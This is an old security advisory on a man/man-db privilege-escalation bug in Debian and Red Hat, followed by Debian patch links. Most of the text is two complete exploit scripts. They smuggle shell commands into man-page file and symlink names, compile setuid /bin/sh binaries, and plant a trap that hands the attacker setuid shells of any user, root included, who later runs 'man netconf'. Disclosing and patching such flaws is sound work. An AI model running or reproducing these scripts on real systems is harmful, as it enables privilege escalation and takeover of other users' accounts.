COMMAND

    man

SYSTEMS AFFECTED

    Linux

PROBLEM

    Luki R.  found following.   In some  conditions, man  allow user's
    PATH env. to be inserted as  manpath.  Man then use manpath  value
    for searching directories contain manpages.  This is ok until  man
    forgot to drop  privilledges when creating  cat pages cache  files
    using user's supplied PATH.

    Luki successfully trie this on 2 different man system, debian's
    and redhat's.

    Attached  is  a  complete  proof  of  concept  exploit  script for
    redhat7.1 and Debian2.2. for your convenience.  The impact is  not
    only  creating  files  owned  by  man  uid/gid  but  combined with
    symlinks and other tricks, the results are:

    [1] On debian's man-db (<= 2.3.17-3.2, 2.3.16-3):
        - instant user 'man' setuid shell
        - (as user 'man' you may do something tricky to be root)
    [2] On RedHat's man (<= man-1.5h1-20):
        - (trivial)  executing  any  binary,  ie.  to make any  user's
          suidshell, including root

    However,  to  produce  a  succesfull  exploit  we  must  met   the
    conditions:
    - man system that write catpages cache [1] & [2]
    - suid / sgid man binaries [1] & [2] (to be able to write to cache
      dirs)
    - there is a  command which have no  manpages (cos we will  create
      it) [2]
    - victim user must then executed 'man <command with no manpage>' [2]

    See the exploits for details (2 code, 1 for debian and 1 for RH):

    #!/bin/sh
    ###################################################
    # Fri Jun  1 23:00:10 JAVT 2001                   #
    # ----------------------------------------------- #
    # man MANPATH symlink redirection bugs            #
    # proof of concept.                               #
    # version affected:                               #
    #   <= man-db 2.3.16-3,2.3.17-3.2                 #
    #                                                 #
    # tested on:                                      #
    #  debian2.2 -> instant man suidshell             #
    #                                                 #
    # by jenggo <luki@karet.org>                      #
    #                                                 #
    # thanx to: echo, mayonaise all @ #karet          #
    # ==> Mr.dur,amien,mega,akbar ... damai,damai ;)  #
    ###################################################

    TMPDIR=/tmp/mywork

    RAND=`/bin/date +%S`
    echo "making working dir ..."
    /bin/mkdir -p $TMPDIR/man/man1
    /bin/chmod 777 $TMPDIR
    /bin/chmod 777 $TMPDIR/man

    echo "copying needed files ..."
    if [ ! -x /usr/bin/groff ] || [ ! -x /usr/bin/grotty ] || [ ! -x /usr/bin/troff ] || [ ! -x /usr/bin/gcc ]; then
      echo "Failed, I need executable : groff,grotty,troff,gcc"
      echo "cleaning up ..."
      /bin/rm -rf $TMPDIR
    fi

    /bin/cp /usr/bin/groff $TMPDIR
    /bin/cp /usr/bin/grotty $TMPDIR
    /bin/cp /usr/bin/troff $TMPDIR

    echo "compiling helper ..."
    /bin/cat > $TMPDIR/hehe.c <<EOF
    #include <stdio.h>

    int main()
    {
      char *aa[2]={"/bin/sh", NULL};

      setreuid(6,6);
      execve(aa[0], aa, NULL);
      exit(0);
    }
    EOF

    /usr/bin/gcc $TMPDIR/hehe.c -o $TMPDIR/hehe 2>/dev/null 1>/dev/null

    /bin/cat > $TMPDIR/mandeb.c <<EOF
    #include <stdio.h>

    int main()
    {
      seteuid(6);
      setuid(6);
      system("/bin/cp /tmp/mywork/hehe /tmp/huhu");
      system("/bin/chown man /tmp/huhu");
      system("/bin/chmod 4755 /tmp/huhu");
      exit(0);
    }
    EOF

    /usr/bin/gcc $TMPDIR/mandeb.c -o $TMPDIR/mandeb 2>/dev/null 1>/dev/null

    echo "making our manpage ..."
    /bin/ln -s /var/cache/man/cat1 $TMPDIR/man/cat1
    /bin/echo "bebas euy"|/bin/gzip -c > $TMPDIR/man/man1/"cihuy$RAND.1.gz;cd ..;cd ..;cd ..;cd ..;cd ..;cd tmp;cd mywork;export PATH=.;mandeb;echo ls.1.gz"
    /bin/touch $TMPDIR/"cihuy$RAND.1.gz;cd ..;cd ..;cd ..;cd ..;cd ..;cd tmp;cd mywork;export PATH=.;mandeb;echo ls"
    export PATH=$TMPDIR
    /usr/bin/man "cihuy$RAND.1.gz;cd ..;cd ..;cd ..;cd ..;cd ..;cd tmp;cd mywork;export PATH=.;mandeb;echo ls" 2> /dev/null 1>/dev/null

    echo "/bin/ls -la /var/cache/man/cat1"
    /bin/ls -la /var/cache/man/cat1
    export PATH=/var/cache:/bin:/sbin:/usr/bin:/usr/sbin

    echo "exploiting ..."
    /bin/rm -f /tmp/huhu
    /usr/lib/man-db/mandb 2>/dev/null 1>/dev/null
    /bin/rm -rf /tmp/mywork

    echo
    echo "/bin/ls -la /tmp"
    /bin/ls -la /tmp

    if [ -u /tmp/huhu ]; then
      echo "file /tmp/huhu is setuid. Hope it's owned by man"
      echo "Have a nice day"
      echo "[----- jenggo <luki@karet.org> -----]"
      /tmp/huhu
    else
      echo "exploit failed, cleaning up our binary ..."
    fi

    echo "cleaning up our preparation step dir ..."
    /bin/rm -rf /tmp/$TMPDIR


    ============================================================


    #!/bin/sh
    ###################################################
    # Fri May 18 22:08:42 JAVT 2001                   #
    # ----------------------------------------------- #
    # man MANPATH symlink redirection bugs            #
    # proof of concept.                               #
    # version affected:                               #
    #   <= man-1.5h1-20                               #
    #                                                 #
    # tested on:                                      #
    #  redhat7.1 -> any user suidshell                #
    #                                                 #
    # by jenggo <luki@karet.org>                      #
    #                                                 #
    # thanx to: echo, mayonaise all @ #karet          #
    ###################################################
    # hmmm ... ada yang bisa modif jadi instant root ?? :P

    # IMPORTANT !
    # set this to command that has no man page
    DEADLY_BIN="netconf"

    # on <= redhat6.2 could be /var/cache/catman
    CACHEDIR="/var/cache/man"
    CACHEDIR2="/var/cache/catman"

    GZ="/bin/gzip"

    echo -n "check man dir ..."

    if [ ! -d $CACHEDIR ]; then
      if [ -d $CACHEDIR2 ]; then
        CACHEDIR=$CACHEDIR2
        echo "OK"
      else
        echo "FAILED"
        echo "check your man dir"
        exit
      fi
    else
      echo "OK"
    fi

    echo -n "checking sgid/suid man ..."
    if [ ! -g /usr/bin/man ]; then
    # is it a debian man?
      if [ -d /usr/lib/man-db ]; then
        echo "FAILED"
        echo "I think this is debian style man, use other script"
      else
        echo "FAILED"
        echo "can't find executables sgid man binary"
      fi
      exit
    else
      echo "OK"
    fi

    echo "making our man directory ..."
    echo

    mkdir -p /tmp/man/man1
    mkdir /tmp/cat1
    mkdir /tmp/mine
    chmod 777 /tmp/mine

    echo "creating our man page ..."
    echo

    echo "BEBAS EUY"|$GZ -c > /tmp/man/man1/huhuy.1.gz

    echo "creating symlink ..."
    echo

    ln -s "$CACHEDIR/cat1/netconf.1.gz;cd ..;cd ..;cd ..;cd ..;cd tmp;cd mine;export PATH=.;manx" /tmp/cat1/huhuy.1.gz

    echo "creating our bogus command ..."
    echo
    touch /tmp/huhuy

    echo "making manx shellscript"
    echo

    /bin/cat > /tmp/mine/manx <<EOF
    #!/bin/sh

    export PATH="/bin:/usr/bin:/sbin:/usr/sbin"
    VICTIM=\`/usr/bin/id -u\`

    /bin/cat >/tmp/mine/my"\$VICTIM".c <<EOG
    #include <stdio.h>
    void main()
    {
      char *hh[2]={"/bin/sh", NULL};
      setreuid(\$VICTIM,\$VICTIM);
      execve(hh[0], hh, NULL);
    }
    EOG

    /usr/bin/gcc /tmp/mine/my"\$VICTIM".c -o /tmp/mine/my\$VICTIM 1>/dev/null 2>/dev/null

    /bin/rm -f /tmp/mine/my"\$VICTIM".c 1>/dev/null 2>/dev/null

    chmod 6755 /tmp/mine/my\$VICTIM 1>/dev/null 2>/dev/null

    EOF

    chmod 755 /tmp/mine/manx

    if [ ! -x /tmp/mine/manx ]; then
      echo "file: /tmp/mine/manx can't be set executable !"
      echo "fix the exploit first"
      echo "cleaning up ..."
      /bin/rm -rf /tmp/man /tmp/cat1 /tmp/mine /tmp/huhuy
      exit
    fi

    echo "prepare to exploit ..."
    echo

    export PATH=../../../../../../tmp
    cd /

    echo "exploiting ..."
    echo

    /usr/bin/man -d huhuy 2>/dev/null

    export PATH=/bin:/usr/bin

    echo "checking our exploit result"
    echo

    if [ -f "/var/cache/man/cat1/$DEADLY_BIN.1.gz;cd ..;cd ..;cd ..;cd ..;cd tmp;cd mine;export PATH=.;manx" ]; then
      echo "content of $CACHEDIR/cat1:"
      ls -l $CACHEDIR/cat1
      echo
      echo "exploit OK, now wait till somebody run 'man $DEADLY_BIN'"
      echo "and your suidshells will be waiting at /tmp/mine/* :)"
      echo "bye."
      echo "[-------- jenggo <luki@karet.org> --------]"
      echo
    else
      echo "hrrmm ... exploit failed to create offending file !"
      echo "check again please"
      echo "cleaning up ..."
      /bin/rm -rf /tmp/man /tmp/cat1 /tmp/mine /tmp/huhuy
    fi

SOLUTION

    This  is  not  a  new  bugs  since  debian  hax fixed it on man-db
    2.3.18-6  in  unstable  and  2.3.16-4  and for redhat see redhat's
    bugzilla #43213.

    For Debian:

        http://security.debian.org/dists/stable/updates/main/source/man-db_2.3.16-4.dsc
        http://security.debian.org/dists/stable/updates/main/source/man-db_2.3.16-4.tar.gz
        http://security.debian.org/dists/stable/updates/main/binary-alpha/man-db_2.3.16-4_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/man-db_2.3.16-4_arm.deb
        http://security.debian.org/dists/stable/updates/main/binary-i386/man-db_2.3.16-4_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/man-db_2.3.16-4_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/man-db_2.3.16-4_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/man-db_2.3.16-4_sparc.deb